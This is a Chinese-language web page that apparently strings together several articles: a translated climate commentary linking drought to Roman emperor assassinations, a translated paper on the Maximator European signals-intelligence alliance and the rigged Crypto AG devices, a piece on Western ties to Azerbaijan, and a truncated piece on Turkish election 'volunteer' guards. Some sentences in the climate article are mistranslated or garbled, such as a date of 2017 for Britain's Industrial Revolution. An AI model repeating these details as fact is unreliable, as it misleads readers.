研究人员从法国和德国东部罗马边境的橡树林地带收集降水数据，并将其与暗杀数据结合起来 — — 大约25名皇帝被暗杀，占总数的五分之一，结果发现，年降雨量一个标准差的下降（比平均水平减少 20%）与皇帝将在次年被暗杀的可能性增加 **0.11** 个标准差相关。

公元235年至公元285年的 Gordian 王朝特别动荡：在此期间统治的 26 位皇帝中有 14 位被暗杀。当然，饥饿的军队并不是皇帝灭亡的唯一原因，这一时期还以瘟疫、入侵和经济萧条为特征。

从 1500 年前开始汲取教训可能很容易。古罗马几乎没有能力长期储存谷物或灌溉庄稼。然而直到今天，独裁者依旧依靠顺从的军队来保持其权力。更广泛地说，长期以来的资料已经足够确定，恶劣天气会

导致经济冲击，导致动荡，甚至内战。例如，干旱被广泛引用以诠释苏丹内战和尼日利亚恐怖组织“博科圣地”崛起的原因。

在 1500 年间这一结论几乎没有变化：即 由气候变化引起的极端天气事件往往会加剧政治不稳定。

当下，地球正在冒烟儿。今年夏天从西雅图到西伯利亚，火焰已经消耗了北半球的大片地区。席卷了加利福尼亚州的 18 场野火之一，是该州历史上最严重的一场。上周在雅典附近沿海地区肆虐的火灾造成了" 91 人死亡"。在其他地方，人们在炎热中窒息。由于热浪将东京的气温首次推高至 40°C 以上，导致日本大约有 **125** 人被热死。

如今，这种曾经被认为是怪异的灾难已经司空见惯。科学家长期以来一直警告说，随着地球变暖，天气模式将变得更加狂暴。早期的分析发现，这个闷热的欧洲夏季所导致的状况可能还不到人类引起的全球变暖的所有可能性的一半。

「图」

「图」

然而，随着气候变化的影响越来越明显，未来挑战的规模也越来越大。在各国誓言巴黎相对于工业化前水平“升温远低于2°C“的三年后，温室气体排放再次上升。石油和天然气的投资也是如此。2017 年是四年来首次煤炭需求上升，风能和太阳能等可再生能源补贴在许多地方逐渐减少，投资停滞不前; 气候友好型核电价格昂贵且不受欢迎。

人们很容易认为这些都是暂时的挫折，而人类凭借其自我保护的本能，将彻底战胜全球变暖。而事实上，人类正在输掉这场战争。

进展不足不是说根本没有进展。随着太阳能电池板、风力涡轮机和其他低碳技术变得更加便宜和高效，它们的使用量也在激增。去年，全球销售的电动汽车数量超过了100万辆。在一些阳光充足的地方，可再生能源现在的成本低于煤炭。

同时公众关注度正在上升。去年对 38 个国家进行的民意调查发现，61% 的人认为气候变化是一个巨大的威胁。在西方竞选活动中，投资者谈论的话题是剥夺以煤炭和石油为生的公司。尽管特朗普决定将美国从巴黎协议中撤出来，但许多美国城市和州都重申了对此的承诺。在烟雾笼罩的中国和印度，市民们窒息于雾霾，促使各国政府重

新考虑严重依赖煤炭为其国家带来电力的计划。

乐观主义者说，脱碳是可以实现的。然而，即使只考虑到熟悉的共识和执行全球目标的复杂性，也足够证明其非常困难。

其中一个原因是能源需求的飙升，特别是在发展中的亚洲。2006–2016年，随着亚洲新兴经济体的蓬勃发展，其能源消耗增长了40%。使用煤炭、尤其是最脏的化石燃料，以每年 3.1%的速度增长。清洁天然气的使用量增长了 5.2%，石油的使用量增长了2.9%，化石燃料比依赖阳光和风的可再生能源更容易与今天的电网相连。即使绿色基金经理威胁要退出石油公司，中东和俄罗斯的国有巨头也将亚洲需求视为投资的一个“令人信服的理由”。

第二个原因是经济和政治惰性。一个国家消耗的化石燃料越多，就越难摆脱它们。强大的游说团体以及支持他们的选民将能源结构中的煤炭巩固起来。重塑现有的做事方式可能需要数年时间。自 2017 年点燃工业革命以来，英国在 2017 年迎来了第一个无煤日。煤炭不仅产生了印度 80% 的电力，而且还支撑着一些最贫穷国家的经济（这里是简报）。德里的 Panjandrums 并不热衷于支持煤炭的终结，以免削弱太多的银行系统，以及依赖它的铁路。

延伸阅读：《"//波兰如何通过政治审查遏制环保维权者，以便在巴黎协议2.0上抢夺语话权//"》

第三原因是从发电以外的行业中剥碳的技术挑战。钢铁、水泥、农业、运输和其他形式的经济活动占全球碳排放量的一半以上，它们在技术上比发电更难清理，并受到既得工业利益的保护。成功遥遥无期。由于中国的 100 多万辆电动汽车从电网中吸取的三分之二的电力来自煤炭，因此它们产生的二氧化碳比一些燃油效率高的汽油驱动型车辆更多。同时，从大气中清除CO {-2} 气候模型意味着需要大规模地满足巴黎协议目标。

现有的方法很难解决实质性问题。西方国家在制造碳排放的工业发展下变得富裕起来，他们必须履行他们在巴黎协议中的承诺，帮助贫困地区适应更炎热的地球，并在不牺牲贫困地区所需的增长的情况下减少未来的排放。

政治家在为改革提供理由和确保最弱势群体不承受变革的冲击方面发挥着至关重要的作用，也许炎热导致的政治动荡可能性能帮助他们激起一些集体意志。可悲的是，这个世界看起来很有可能会先变得更热……○

原文

没有美国的五眼联盟，被保密了近50年，今天依然活跃 - iYouPort

地缘政治

本报告是关于1970年代末开始的秘密的欧洲 “五眼” 信号情报联盟 Maximator。揭露了 “Maximator” 这个鲜为人知的名字，并提供了书面证据。该报告对跨国情报合作的研究领域、尤其是这种秘密合作对于加密技术在地缘政治上的作用的研究，非常宝贵

「图」

「图」

情报共享经常不是您从字面上感知到的那样。

这个秘密的欧洲的五眼联盟中的五个成员是：丹麦、瑞典、德国、荷兰、法国。合作涉及信号情报分析和加密情报破解和分析。

它不是当前众所周知的以美国为首的五眼，**Maximator** 联盟已经秘密存在了近五十年。

这个欧洲信号情报联盟的存在为二十世纪后期的西方信号情报合作研究提供了新颖的视角。

这篇文章在相对关注密码学细节的情况下，解释和说明了五个 Maximator 参与者是如何通过其德国合作伙伴提供的关于受操纵的加密设备的信息、并通过美国和德国共同拥有和控制的瑞士生产商 Crypto AG 的加密设备，加强了他们的有效性。

1、简介

第二次世界大战结束后，五个盎格鲁撒克逊国家（澳大利亚、加拿大、英国、新西兰和美国）之间的信号情报（SIGINT）合作被广泛记

录。这个联盟通常被称为“五眼”，它基于1946年的 UKUSA 协议。

然而迄今为止尚未公开的是，有另一个并行的信号情报联盟，即在西北欧的五眼。它自1976年以来就存在，被称为 Maximator。

它包括丹麦、法国、德国、瑞典和荷兰，并且今天仍然活跃。

Maximator 联盟加深了我们对最近公开的 Thesaurus/Rubicon 运作的理解：1970年至1993年，CIA-BND 对瑞士加密设备制造商 Crypto AG 的共同所有权和控制权。

- 关于**Crypto AG**，见这里的报道《"全球暴行的同谋者"》

这使该联盟的参与者能够解密自**1970**年代以来所有购买了受感染设备的一百多个国家的加密消息。

本文的第一二部分提供了有关 Maximator 联盟的历史证据，并提供了一些背景信息，这些信息可从荷兰情报界获得。

资料远非完整，需要通过未来的研究加以扩展和补充，特别是，根据来自其他参与国的信息。

本文关于 Maximator 联盟的存在和组成的信息是基于来自荷兰情报界的三个独立消息来源，并得到了一些文档证据的支持 —— 参见下面的图1和图2。在第3节中，有关 Maximator 及其荷兰分部 TIVC 的更多详细信息基于个人信息源。

2、Maximator

Maximator 联盟始于1976年，由丹麦发起。最初，除丹麦外，它只涉及瑞典和德国。

荷兰于1977年受邀，并于1978年加入。最初四个国家中的大多数之间已经存在信号情报方面的双边合作。

开始更广泛合作的动机之一是基于卫星的信号情报的出现，这需要大量的投资。第二个动机是共同应对技术拦截和情报交换方式方面的挑战。

想法是合力并分担任务，以降低成本，从而变得更加有效。合作涉及加密破解和信号情报分析 —— 仅来自SHF（卫星）和HF（短波）流量。

法国在1983年加入该联盟的请求得到了德国的特别支持，因为法国和德国之间的（信号）情报合作很牢固，它是在第二次世界大战后不久就根据主要人物 Gustave Bertrand 和 Reinhard Gehlen 之间的密切接触开始的。

Maximator 这个名称是指来自德国南部巴伐利亚州的啤酒品牌（参见下图）。巴伐利亚州的首府是慕尼黑，直到2017年，其郊区 Pullach 一直是德国外国情报机构 Bundesnachrichtendienst（BND）的所在地。

在1979年的某个阶段，建立该联盟的代表们在那里喝啤酒，同时为他们之间的新兴合作深思熟虑。他们眼前满是当地品牌 Maximator 的 Doppelbock 啤酒，由此做出了决定。

这五个参与国 —— 丹麦、法国、德国、瑞典和荷兰 —— 建立了 Maximator 联盟，它一直保持稳定并在今天继续运作。

其他国家则询问他们是否可以在某个阶段加入，但此类请求都被拒绝了。

这种合作是自下而上的，建立在密切的人际关系以及共同的高水平技术和加密破解技能的基础上。

某些国家被故意禁止加入，因为在 Maximator 联盟中，它们被认为缺乏相关的（信号情报/加密破解）专业知识和/或经验。

据称，这些国家包括挪威、西班牙和意大利。

其他因素比如政治因素，也可能导致被排除在外。比利时是西北欧的一个明显例外。由于缺少 SIGINT（和 COMSEC）能力，因此没有被邀请加入 Maximator。

在参与国中，特定的情报组织发挥了相关作用。

在德国，Bundesnachrichtendienst BND 负责（外国）信号情报，当时被称为 Zentralstellefürdas Chiffrierwesen ZfCh 的部门负责加密通信破解工作。

[Schmidt-Eenboom, “The Bundesnachrichtendienst, the Bundeswehr and SIGINT in the Cold War and After.”]

在丹麦、瑞典和荷兰，这些活动分别合并在 *Forsvarets*

Efterretningstjeneste（丹麦国防部情报局 DDIS）、*Försvarets radioanstalt*（FRA ，瑞典进行电子通讯监控的国防无线电局）和 *Technisch Informatie Verwerkingscentrum*（TIVC，技术信息处理中心）中。法国 Maximator 的活动是 *Direction Générale de la Sécurité Extérieure*（DGSE，对外安全总局）负责。

下图：几次 Maximator 会议的小册子封面。

「图」

「图」

Rheinhausen 页面提供了最多的信息，因为它包括组成 Maximator 联盟的五个国家/地区的标志 —— 这是BND卫星侦听站的所在地（Schmidt-Eenboom），“德国联邦情报局（Bundesnachrichtendienst）、德国联邦国防军 Bundeswehr 和信号情报局”。

Edison 是荷兰的代号。这次会议是在阿姆斯特丹举行的：图片中的瓶子上有三个叉（x），形成了阿姆斯特丹市的标志。

「图」

「图」

Maximator 的合作涉及信号情报分析和加密破解。信号情报分析部分着重于协调侦听机制和工作以及交换侦听到的（加密的）消息。

在涉及整个 Maximator 联盟的多边会议中都讨论了信号情报分析（参见图1）。另一方面，对加密破解只进行了双边讨论。

每个参与国都应该执行自己的解密。这是情报界的普遍做法，目的是防止传递明文信息。

图2描述了1990年代合作伙伴之间的沟通渠道。专用的加密系统用于每个双边连接。

合作的加密破解部分涉及目标国家使用的各种（被故意削弱的）密码设备中的算法的交换。然后由 Maximator 参与者自己决定如何利用这些算法的弱点。这种利用也称为 “解决方案”。

一种常见的方法是对移位寄存器使用所谓的相关攻击。这种技术在

1980年代后期公开，但是那时这种做法在情报界已经很普遍了。

原则上，Maximator 中不交换解决方案方法的实现。作为此类解决方案的结果，有时会（长期）共享加密密钥。

下面是1990年 Maximator 合作伙伴之间的情报交流示意图，使用字母表示参加国的代号：T ＝ Thymian ＝瑞典，C ＝ Concilium ＝丹麦，E ＝ Edison ＝荷兰，M ＝Marathon＝法国，N ＝ Novalis ＝德国。

荷兰语中的小写字母 “e” 指的是 Erasmus，Erasmus 是第898陆军信号营的代号，驻扎在 Eibergen，那里是HF侦听哨所。

三角形似乎指示情报（尤其是拦截的情报）如何从一方流向另一方。在绘制该图时（1990年），尚无直接的 E-M 情报交换，但后来证明确实存在。

「图」

「图」

Maximator 的重点是拦截（和解密）通过以太（HF和SHF）的外交流量。

在 Maximator 联盟的早期，加密通信几乎专门用于外交和军事方面。在1980年代和1990年代，商业公司逐渐开始在其主要通信线路上使用加密。

直到1990年代后期，加密才有机会为普通用户所用，目的是保护自己的在线通信和交易。这完全改变了景观。

- 加密是直接行动《创建属于我们自己的国土；推荐非暴力直接行动的终极形式—— 为自由而战（三）》

在 Maximator 联盟的早期，加密仍然基于硬件。密码算法被添加到专用芯片中，在全球市场上也只有很少的公司提供硬件加密设备。这些公司基本都是由西方情报机构控制的，因此，一个联盟小圈子之外的许多国家都收到了故意削弱的加密技术版本，那些圈外国家的密码文本可以由 ***cognoscienti*** 相对轻松地解密。

瑞士公司 Crypto AG 就是一个主要的例子。如德国ZDF电视节目 Frontal 21和《华盛顿邮报》在2020年初所披露的那样 —— 这家CIA

和BND秘密拥有的加密设备公司占据了全球大约**70–80**%的市场（非共产国家），根据泄露的CIA和BND文件。具体报告中文版如下：

- 《全球暴行的同谋者》

如今人们已经可以在这些BND文件中认识到 Maximator 联盟。

而此前该联盟从未被提及，特别是从来没有提及过它的名字，但有隐晦的说法，即：这些能力不仅限于美国和德国。多年来，丹麦、法国、英国、以色列、荷兰、瑞典等国家都包含在 *“cognoscenti”* 圈子中。

对于那些已经了解欧洲大陆五国联盟的人来说，从这句话中就足以清楚地看出这五个国家都是谁。

[A footnote in ‘Einführung: Die Operation THESAURUS/RUBICON’, Internal BND document, Nov. 2012, adds that those countries learned about the cryptographic details of the various devices, but not about the operation as such, that is, about the joint German-U.S. ownership and running of Crypto AG.]

顺便说， Aldrich 已经提到了欧洲大陆信号情报合作，并且 … 欧洲人最近建立了他们自己的微型 UKUSA 联盟，称为 “五环”，由德国、荷兰、法国、比利时、和丹麦的信号情报机构组成。…

[Aldrich, *GCHQ*, 442.]

但是，请注意，这个 “五环” 不是 **Maximator** 联盟：如上所述，比利时不在 Maximator 联盟中，而是瑞典在其中（请参见图1中的 Rheinhausen 页面）。

除了和 Maximator 类似专注于外交通讯之外，“五环” 似乎（或曾经是）一个平行的联盟，专门拦截军事通讯（的元数据）。

[Speculatively: it may have been called *Fünfgruppe*, German for ‘group of five’.]

[Also because the Maximator communications network (see Figure 2), was (partly) used by this second alliance too.]

3、Maximator 的荷兰分支—— TIVC

Wiebes 提供了荷兰信号情报组织 TIVC 的简史。

[It was called *Wiskundig Centrum* (WKC) at first, but we shall use the later name TIVC that is also used in Wiebes, “Dutch SIGINT During the Cold War.”]

在这里，我们用三个新的视角来扩展这个机构，即

（1）TIVC 形成了 Maximator 联盟的荷兰部分；

（2）TIVC 通过 Maximator 合作伙伴获得了有关 Crypto AG 设备中算法的BND信息 —— BND拥有该信息；

（3）荷兰制造商飞利浦（Philips）的加密设备也被削弱，因为荷兰人（部分为 TIVC）参与其中。

正如 Wiebes 所提到的，TIVC 被嵌入荷兰皇家海军内部，并在阿姆斯特丹市中心 Kattenburg 的海军军营中运作。

它有单独的部门负责信号情报分析和加密破解情报分析（包括语言学家）。2010年之后，这些部门成为了信号情报联合网络部门（JSCU）的一部分，该部门由荷兰的两个情报和安全部门（AIVD 和 MIVD）共同运营。

TIVC 的信号拦截主要来自 Eemnes 的HF天线以及荷兰北部 Burum 和 Zoutkamp 的卫星（SHF）天线。

从1963年起，荷兰还在加勒比海的库拉索岛设有拦截站，主要目标是委内瑞拉和古巴。

如上所述，TIVC 是 Maximator 的早期合作伙伴。这是一个规模较小但有效的信号情报组织，声称已解密了来自近**75**个国家的通讯，主要是外交通讯。

3.1 马岛战争

Maximator 联盟及其成员 TIVC 在1982年的马岛战争中发挥了特殊作用。当时，阿根廷海军和外交部门使用 Crypto AG 的设备来保护其通信。

特别是，他们使用的设备HC550和HC570属于同一家族，并且使用相同的加密算法。**BND**和**CIA**通过其对 **Crypto AG** 的所有权共同操纵了

该算法。该算法的详细信息由 **Maximator** 联盟中的 **BND** 与 **TIVC** 解密共享。

[For this reason these devices are often jointly called HC500. A similar device was the HC520, with the same encryption algorithm, which was not used by Argentina; its cryptographic keys were slightly different from HC550 and HC570 and were recognisable. For more information about these devices, see the online Crypto Museum; https://cryptomuseum.com/index.htm.]

这使荷兰人能够在战争开始之前就读到阿根廷的海军和外交通讯。根据 Aldrich 和 Wiebes 的报道，英国信号情报组织 GCHQ 从战术上忽略了阿根廷。它无法读取由 Crypto AG 设备保护的通信。战争爆发时，它在压力下向欧洲大陆的国家寻求帮助。

[Aldrich, *GCHQ*, 389 & 402. See also, Wiebes, “Dutch SIGINT During the Cold War,” 275.]

一位直接参与其中的荷兰消息人士称，当时 TIVC 的一名专家前往 GCHQ 并解释了用于阿根廷海军和外交交流的 HC500 Crypto AG 设备是如何工作的；密码的后续解决方案留给 GCHQ 自己处理。

[It is unclear why the U.K. turned to the Europeans since its close American UKUSA partner knew in detail about the rigged Crypto AG algorithms. The reason might be that in the first few weeks of the war the Americans hesitated about choosing sides in the conflict. Greg Miller in the *Washington Post* writes: ‘In 1982, the Reagan administration took advantage of Argentina’s reliance on Crypto equipment, funneling intelligence to Britain during the two countries brief war over the Falkland Islands, according to the CIA history, which doesn’t provide any detail on what kind of information was passed to London.’ Miller, “The intelligence coup of the century”. This suggests that the U.K. received decrypted intelligence products from the US, but not the method to decrypt itself. However, the BND author of ‘Gedächtnisprotokoll’, the internal BND document dated 11 December 2009, has no doubt that the U.K. got the decryption method from the U.S.: ‘*Die Briten hatten die Entzifferungs-Lösungen natürlich von den Amerikanern*’. A logical explanation might be that GCHQ asked *both* the Americans and the Europeans—that is, it asked both five-party sigint alliances—and that the Dutch were simply the first to respond.]

后来，英国胜利了……在阿根廷门口夺下了马岛。回顾历史，中央情报局的历史表明，1982年解密并阅读阿根廷加密通讯的能力对英国成功赢得马岛战争至关重要。

[MINERVA, a history. Internal CIA document, 2004.]

GCHQ 知道如何破解阿根廷的加密通信这一事实是众所周知的。正如 Aldrich 所说：“ **GCHQ** 为什么能如此轻松地阅读阿根廷的加密通讯？答案很简单。阿根廷的一些高级军事和外交通信系统利用了昂贵的但已经遭到严重破坏的欧洲加密机器 **……**”。

在战争期间的某个阶段，阿根廷人发现他们的加密信息正在被读取。他们无法快速更换所有设备，因此他们决定更改其加密密钥管理，这是有道理的。

他们开始每小时更新一次密钥，而不是每三天刷新一次。由于一小时的短暂时间窗口可能包含的密文不足以进行成功的解密攻击，因此使破解变得更加困难。

关于阿根廷人如何了解到自己已经被破解的方式，存在不同的传闻。

最常见的解释是，他们是通过1982年4月3日 Ted Rowlands 的报告发现的，GCHQ 正在阅读阿根廷的外交通讯。但是，另一个在荷兰情报界流传的说法是，被阿根廷人击落的英国飞行员携带的信息只能通过被破解的通信获得。

3.2. Aroflex, Philips 和土耳其

Aroflex 是 Philips 公司1970年代末在荷兰开发的成功的电子加密设备的名字。相关评估机构 SECAN 已批准其在北约内部使用。

北约允许多个国家使用 Aroflex 进行内部通讯，但不允许该设备的商业销售。为了进一步使用，开发了两个修改的装配好的 Aroflex 版本。

首先，以正式名称 T1000CA，非正式名称为 Beroflex，开发了具有自适应加密算法的 Aroflex 设备的商业版本。

TIVC 与飞利浦合作，为该 Beroflex 设计了加密算法。双方提出了自己的 Aroflex 改装建议。经审议后，选择 TIVC 的提议是因为它涉及对现有 Aroflex 的最少改动。

仍然，破解加密需要解决许多二进制线性方程组。这超出了通用计算机当时的能力范围。TIVC求助于飞利浦的研究部门（称为Natlab），该部门设计了专用芯片，可以在大约40分钟的时间内解决那些方程组。

该芯片内置于专用解密设备中，该设备已出售给美国和 Maximator 联盟合作伙伴。

Aroflex 进行了第二次修改，尤其是在土耳其。这个国家购买了（安全的） Aroflex 设备以与其北约伙伴进行通信。土耳其在内部通信中一直使用法国制造商萨基姆（Sagem）的设备。

这些法国的设备使用一次性密码（OTP）技术，从原理上讲，这是完美的，只要不重复使用任何密钥即可。但是，这恰恰是土耳其所做的：重复使用密钥。这个基本错误被证明是致命的，使得许多非预期的收件人（包括 TIVC）都可以阅读土耳其语的内部通信。

当土耳其求助于 Crypto AG 购买新设备时，美国和德国之间就此北约伙伴是否应接受被操纵的设备进行了激烈讨论，而德国则保护了土耳其的利益。

Crypto AG 的两个（秘密）所有者无法解决他们之间的问题。然后美国放弃了，选择了一条不同的路线：通过荷兰保密通信部门**NBV**与飞利浦联系，要求后者为土耳其开发特殊的 **Aroflex** 版本。

飞利浦遵照执行，正如有关飞利浦密码学家最近公开解释的那样。这种由美国发起的行动是通过荷兰保密通信机构**NBV**进行的，该机构是情报界内的一个独立组织，多年来一直不让 TIVC 的荷兰密码破解者对整个操作保密。

TIVC 最初也一无所知，但是当最终发现 NBV 与美国秘密合作时，它并不感到高兴。

3.3 袭击巴黎和柏林

CIA 和 BND 的历史是由那些不太熟悉该行动的密码学方面的人撰写的。这可能解释了其中某些错误和过度分配是怎么来的。

[With the possible exception of ‘Einführung: Die Operation THESAURUS/RUBICON’.]

例如，1991年，一支伊朗的攻击小组暗杀了巴列维王朝最后一任首相 Shapour Bakhtiar，当时他流亡巴黎。

2009年12月11日的 BND 内部文件 “Gedächtnisprotokoll” 重复了美国立即向法国提供伊朗参与暗杀的证据的熟悉故事，另外还附有一行字：‘*Diese waren mit Geräten verschlüsselt, die von Bühlers Firma gekauft worden waren*’，翻译为：这些消息是使用从 Bühler 的企业（即 Crypto AG）购买的设备加密的。

然后进一步讨论这是伊朗对 Crypto AG 越来越不信任的理由，也证明了美国的不负责任行为。

但是，荷兰情报部门的一个密切相关人士报道说，有争议的伊朗消息根本没有使用 Crypto AG 设备加密，而是使用了不寻常的手动加密。

最终的密文被 TIVC 截获并破解，很明显，许多其他信号情报组织也截获并破解了它们。

伊朗人得知他们的（手动加密）通信已受到威胁，这一事实根本不会令他们感到惊讶，也不一定是他们不信任 Crypto AG 的原因。

针对1986年在西柏林发生的 La Belle 迪斯科舞厅爆炸案，Greg Miller 表示：“在确认涉嫌利比亚之后，Reagan 似乎危害了加密操作”（根据泄露的CIA和BND报告）但是，来自 TIVC 的荷兰情报人士说，他们从未见过基于 Crypto AG 设备的来自利比亚的任何加密通信。

[Miller, “The intelligence coup of the century.”]

[Recall that (HF and SHF) intercepts were shared within Maximator, so had any of the partners seen Crypto AG based ciphertext from Libya, the Dutch could have seen it too. What did get intercepted was traffic out of Libya encrypted via devices of the manufacturer Gretag.]

他们认为，可能是由使用自制加密的利比亚攻击小队实施的，也可能是手动加密。但是，TIVC 从未拦截过 “La Belle” 相关的证据，因此无法完全排除使用 Crypto AG 技术的可能性。

据 Faligot, 说，法国人确实读到了证据，因此他们（或美国人）也许能够弄清通信的加密性质。

[Faligot, “France, SIGINT and the Cold War,” 195.]

4、总结

基于对1970年代和1980年代CIA和BND共同拥有的公司 Crypto AG 的最新发现，这篇短文报道了始于1970年代末的欧洲信号情报联盟 Maximator。它首次公开了 Maximator 的名称，并提供了书面证据。

与它的盎格鲁-撒克逊五眼同行相比，这个欧洲联盟已经秘密隐藏了近五十年。该联盟的存在为二十世纪后期的西方信号情报合作研究提供了新颖的视角。

这可能是（历史）重新评估的起点，在该评估中，“五眼” 伙伴关系失去了其作为西方长期、紧张的信号情报合作的唯一环境的地位。

同样，这项研究可能导致基于对外交和军事通讯的访问（机制）对各国之间的地缘政治依赖性的影响进行重新评估。

这篇文章特别说明了加密细节，并通过其合作伙伴BND提供的有关操纵加密设备的信息来解释和说明了五个 Maximator 参与者如何增强其有效性。

希望在未来几年中，可以从更多来源获得对 Maximator 的更广阔视野。〇

Maximator: European signals intelligence cooperation, from a Dutch perspective

在这里阅读/下载PDF：https://www.tandfonline.com/doi/pdf/10.1080/02684527.2020.1743538?needAccess＝true

「图」

「图」

【注】切勿认为自己国家的间谍机构无法获得哪里的信息，就认为此处 “安全”，因为没人能说清楚全世界究竟有多少情报共享 —— 直到它们被揭露。

上图中这份报告在这里下载：https://www.patreon.com/posts/mi-mi-jian-shi-38193590

原文

沾满鲜血的地缘政治游戏 - iYouPort

地缘政治

本文希望能为中国的追求改变现状的人们提个醒，地缘政治是当权者的利益，很多时候建立在牺牲广大公民的权利的基础之上。

「图」

「图」

IFF 在阿塞拜疆的工作人员讲述了西方政府和侵犯人权的国家领导人之间的亲密关系，这并不限于恐怖的沙特，也并非新闻。

对于阿塞拜疆的公民来说，西方与沙特王储穆罕默德·本·萨勒曼（Mohammed bin Salman）的浪漫故事听起来太熟悉了。

穆罕默德·本·萨勒曼（Mohammed bin Salman）或者他经常被称为 MBS，直到最近才被誉为“经济和社会的改革者”，宣传海报讲述了一个年轻人一心想要改变王国神话。但随后的 10 月份，在沙特阿拉伯的伊斯坦布尔领事馆发生了令人毛骨悚然的谋杀记者案，土耳其总统埃尔多安称此谋杀是“沙特政府最高级别”的命令。

MBS 远非唯一一个以严重侵犯人权并缺乏赢得西方青睐的基本自由而闻名的国家的领导者。看来，如果涉及利润丰厚的能源交易，一切都能被无所谓。

阿塞拜疆总统伊利哈姆阿利耶夫曾经也被认为是“一个勇敢的新希望”，“一个西方式的改革者”接替他的独裁父亲。

年轻的 Aliev 在 2003 年他的父亲 Heydar 去世后成为总统时，被寄予了很大的希望。年仅43岁，拥有历史博士学位，会讲多种语言，包括俄语，英语和法语，人们认为他能领导阿塞拜疆远离苏联式的僵化。

但是，当他毫无疑问地在 2003 年总统大选中获得压倒性胜利之后，国际批评和国内抗议活动随之而来，并遭到了警方的暴力镇压。当时，在接受华盛顿邮报采访时，阿利耶夫“谴责竞争对手是’没有机会上台’的专业’受害者’”。

两年后，议会选举也被谴责为欺诈行为，当选民要求重新计票并大规模上街时，他们再次遭到了警察的残暴镇压，警方逮捕了数百名反对派活动家；同年3月，记者 Elmar Huseynov 在自己家的门口被杀。然而十三年后，Huseynov 的谋杀案尚待解决。没有人被追究责任。

无论是对记者的谋杀还是随后对阿塞拜疆民间社会的镇压，都没有阻止阿利耶夫及其助手获得外交和战略协议，成为西方下一个重要的能源和战略伙伴。

在欺诈性选举和 Huseynov 谋杀案发生的一年后，第一批阿塞拜疆石油通过 Baku Ceylan Tbilisi 管道运往欧洲。

随着阿塞拜疆经济的增长，其领导者的力量也在增长。2008 年，也就是下一届总统选举前一个月，当时的美国副总统切尼访问巴库，表达了美国对该国“致力于与西方国家在能源问题上合作”的承诺。

在阿富汗持续不断的冲突中，由于阿塞拜疆对战略重要性的帮助，西方国家与这个开明暴君的浪漫关系似乎达到了顶峰。

两年后，在 2010 年，美国总统巴拉克奥巴马也表达了“赞赏阿塞拜疆为支持国际安全援助部队在阿富汗的使命所作的贡献”。

正如前美国驻阿塞拜疆大使马修·布莱扎所说，该国“已成为支持阿富汗行动的重要运输路线”。

Bryza 在 2011 年离开阿塞拜疆之前的最后一份新闻声明中表示，美国公开和私下都对阿塞拜疆的侵犯人权事件表示担忧。

但是，在 2011 年阿拉伯之春震动了中东和北非的大部分地区后，他又驳回了“阿塞拜疆觉醒”的可能性，因为“经济条件更好了”。他解释说，政府中“非常开明的官员”将引导最终的改革和自由化。

但这些被称为非常开明的官员和开明的暴君本身都没有实施任何改革。相反，当局再次发起镇压，同时政府的游说破坏了 2013 年欧洲委员会议会大会（PACE）关于政治犯的决议。

2016 年，有组织犯罪和腐败报告项目（OCCRP）及合作伙伴公开了

一项秘密的 29 亿美元融资基金，阿塞拜疆曾用这笔资金支付欧洲官员，让他们支持并描绘那个专制政权的“正面形象”，该政府一直在运作国际洗钱计划。

2018年5月，OCCRP 项目又发布了有关丑闻的新信息，该丑闻被称为 Azerbaijani Laundromat，以及它如何被用于资助美国的游说和粉饰声誉的利益输送。

除了 PACE 调查显示的违反行为准则和腐败活动之外，欧洲国家还可以自行调查。

但是，根据透明国际组织的统计，在受影响的 18 个国家中，12 个“执法部门没有正式的后续行动，只有四个国家正在进行调查”。阿塞拜疆和匈牙利是两个拒绝公开调查的国家。

一直以来，阿塞拜疆民间社会的数十名成员被送进了监狱。有些人已被释放，其他人仍被关在监狱里，并且继续有新人被逮捕。

Azerbaijani Laundromat 在品牌推广和形象塑造方面所做的努力都没有帮助该国避免在阿利耶夫担任总统职位期间面对的最大危机 —— 2015年全球油价下跌中受到金融打击。遭受最多苦难的是普通公民，他们在连续两次货币贬值中损失惨重。

但这并不妨碍暴君总统继续推行更广泛的计划。

2018 年5月29日，由于欧洲复兴开发银行提供的 4.3 亿欧元贷款，阿利耶夫开启了南方天然气走廊（SGC）项目的第一阶段。2018 年7月，另一项欧洲复兴开发银行的贷款为5亿欧元，用于 Trans Adriatic Pipeline（TAP）。

在项目落成典礼期间，阿利耶夫说：“我们正在制作一个新的欧洲能源地图”，8月，他和土耳其总统雷杰普·塔伊普·埃尔多安（Recep Tayyip Erdogan）为 Trans Anatolian 天然气管道（TANAP）揭幕 – 这是阿塞拜疆天然气进入欧洲的中央门户。

因此，“开明的暴君”可以获得重要的能量储备。

阿利耶夫自 2003 年以来已经三次“连任”，并修改宪法，以取消总统任期限制。他在职业生涯开始时就如此被西方领导人迷恋。究竟还需要多少 Khashoggis、Huseynovs 以及无数其他记者、平民和权利维护者的死亡和痛苦，西方精英们才能停止相信那些无法兑现的改良派？■

Azerbaijan: the West's Romance with Enlightened Despots. It's easy to ignore human rights abuses when there are lucrative energy deals involved.

How many more Khashoggis, Huseynovs and the deaths and suffering of countless other journalists, civilians and rights defenders, it is going to take for Western elites to stop believing in revolutionary reformers – who fail to deliver the goods?

原文

流氓护驾的选举 - iYouPort

地缘政治

土耳其内政部发送的备忘录称，在3月31日的选举中，除了警察和安全官员进行民意调查并采取必要的“选举安全所需预防措施”之外，还将有“志愿者”保安人员“参与其中。

这一宣布令反对派活动家深感担忧的原因与他们怀疑这些“志愿者”的性质和构成有关—— 尤其是与执政的正义与发展党（AKP）有关的非官方准军事组织。

这份备忘录引起了全国各地反对派人士的深切关注。

「图」

「图」

一名持不同政见作者 İnciHekimoğlu 将这些团体的建立比作村卫队，这是一支80年代由土耳其军队在土耳其东部打击库尔德工人党叛乱的准军事部队。

仍在运作的村卫队对库尔德平民犯下了无数侵犯人权的罪行。根据2006年人权观察报告，这些虐待行为包括：“谋杀，强奸，抢劫，房屋破坏和非法占有财产”。

其中一个组织，即 Ottoman Hearths 于2005年成立，然后在2009年作为一个协会注册—被指控攻击伊斯坦布尔日报 Hürriyet 的总部，这是主要反对派共和人民党（CHP）的办公室。该组织的目标被称为促进“奥斯曼文明和文化”，这是一个符合埃尔多安的新奥斯曼主义的目标。

Hearths 的总部装饰着奥斯曼用具和 Erdoğan 的照片，该组织承诺完全忠诚。1月12日 Ottoman Hearths 的负责人 Kadir Canpolat 宣布：“伟大的领袖埃尔多安，无论如何都拯救了我们的国家，是我们的共同荣誉。那些背叛他的人就是背叛我们的人。”

